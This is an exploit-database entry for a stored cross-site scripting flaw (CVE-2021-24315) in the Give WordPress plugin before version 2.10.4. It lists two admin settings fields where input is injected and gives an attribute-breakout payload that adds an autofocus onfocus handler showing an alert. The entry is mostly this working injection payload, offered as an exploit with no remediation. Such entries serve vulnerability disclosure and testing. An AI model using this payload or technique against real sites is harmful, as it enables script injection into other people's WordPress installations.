Exploit for Give WP < 2.10.4 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24315

Name: Exploit for Give WP < 2.10.4 - Authenticated Stored Cross-Site Scripting (XSS) CVE-2021-24315
Rating: 5 (47 reviews)

2021-04-30 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:006B37C9-641C-4676-A315-9B6053E001D2
As admin, put the payload below in the Background Image field of the Stripe Checkout settings (/wp-admin/edit.php?post_type=give_forms&page=give-settings&tab=gateways&section=stripe-settings&group=checkout) or Logo field in the Email Settings (/wp-admin/edit.php?post_type=give_forms&page=give-settings&tab=emails&section=email-settings)

" autofocus onfocus=alert(/XSS/)//